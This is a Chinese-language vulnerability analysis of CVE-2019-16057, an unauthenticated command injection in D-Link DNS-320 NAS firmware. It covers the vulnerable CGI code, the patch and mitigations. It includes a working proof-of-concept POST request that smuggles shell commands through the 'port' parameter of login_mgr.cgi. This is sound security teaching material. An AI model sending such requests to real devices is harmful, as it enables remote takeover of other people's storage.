CVE-2019-16057 Dlink DNS320 NAS网盘 无需认证 命令注入漏洞分析
字数 1347 2025-08-26 22:11:51
D-Link DNS320 NAS 网盘 CVE-2019-16057 命令注入漏洞分析教学文档
漏洞概述
CVE-2019-16057 是影响 D-Link DNS320 NAS 网络存储设备的一个高危漏洞,该漏洞具有以下特点:
- 影响范围:DNS-320 设备,固件版本 2.05.B10 及以下
- 漏洞类型:未认证远程命令注入
- 危害等级:高危(可导致最高权限任意命令执行)
- 利用条件:无需认证即可触发
- 设备价格:市场价格约300-400元人民币(双盘位NAS)
环境准备
固件获取
-
下载受影响固件:
wget ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/DNS-320_REVA_FIRMWARE_PATCH_2.05.B10.ZIP unzip DNS-320_REVA_FIRMWARE_PATCH_2.05.B10.ZIP -
下载修复后固件(用于对比分析):
wget ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/REVA/DNS-320_REVA_FIRMWARE_v2.06B01.zip unzip DNS-320_REVA_FIRMWARE_v2.06B01.zip
固件解压
使用 binwalk 工具解压固件:
binwalk -e ./DLINK_DNS320.2.05b10(2.13.0226.2016)
binwalk -e DLINK_DNS320.2.06b01$2.13.0322.2019$
漏洞分析
漏洞定位
- 关键文件:
/cgi/login_mgr.cgi - 漏洞函数:
process_login中的vuln_func调用
代码分析流程
-
登录处理函数 (
process_login):- 使用
cgiFormString获取 POST 参数 - 包括用户名、密码和
port参数
- 使用
-
认证流程:
- 将 POST 的用户名密码与
/etc/shadow存储的凭证比对 - 认证失败后进入漏洞触发分支
- 将 POST 的用户名密码与
-
漏洞触发点:
else { vuln_func(port_value); } -
漏洞函数 (
vuln_func):void vuln_func(char *port) { char s[128]; snprintf(s, 0x80, "logger -t GUI \"Port changed to %s\"", port); system(s); }- 直接将
port参数拼接到系统命令中 - 无任何过滤或转义处理
- 直接将
漏洞利用原理
攻击者可以通过构造特殊的 port 参数值,利用命令分隔符(如;、&&、|等)注入任意命令:
port=12345;malicious_command
最终执行的命令:
logger -t GUI "Port changed to 12345";malicious_command
漏洞验证
POC构造
一个成功的漏洞利用请求示例:
POST /cgi/login_mgr.cgi HTTP/1.1
Host: target_ip
Content-Type: application/x-www-form-urlencoded
cmd=login&port=12345;id;whoami&name=test&pwd=test
预期结果
服务器将执行:
- 正常的日志记录命令
- 注入的
id和whoami命令 - 返回命令执行结果
补丁分析
修复版本 2.06B01 的修改:
-
修复方式:将
port参数强制转换为整数int port_num = atoi(port); snprintf(s, 0x80, "logger -t GUI \"Port changed to %d\"", port_num); -
效果:
- 消除了字符串拼接带来的命令注入风险
- 非数字输入会被转换为0或截断
漏洞挖掘建议
分析过程中发现的其他潜在问题点:
- 认证逻辑中的其他参数处理
- CGI 程序中其他命令拼接点
- 固件中其他服务的输入验证
参考链接
- Flaw Gives Hackers Remote Access to Files Stored on D-Link DNS-320 Devices
- D-Link DNS-320 ShareCenter <= 2.05.B10 - Unauthenticated Remote code execution
- DNS-320 :: H/W Rev. Ax :: F/W 2.05b10 and Lower (older) :: CVE-2019-16057 :: Remote Command Execution / RCE
防护建议
- 立即升级到固件版本 2.06B01 或更高
- 如无法升级,建议:
- 限制NAS设备的网络访问
- 启用防火墙规则限制CGI访问
- 监控系统日志中的异常命令执行
总结
CVE-2019-16057 是一个典型的未认证命令注入漏洞,其根本原因是开发人员未对用户输入进行充分验证和过滤。该案例展示了:
- 即使认证失败路径也可能存在安全隐患
- 系统命令拼接必须严格验证输入
- 固件分析中应重点关注CGI程序的参数处理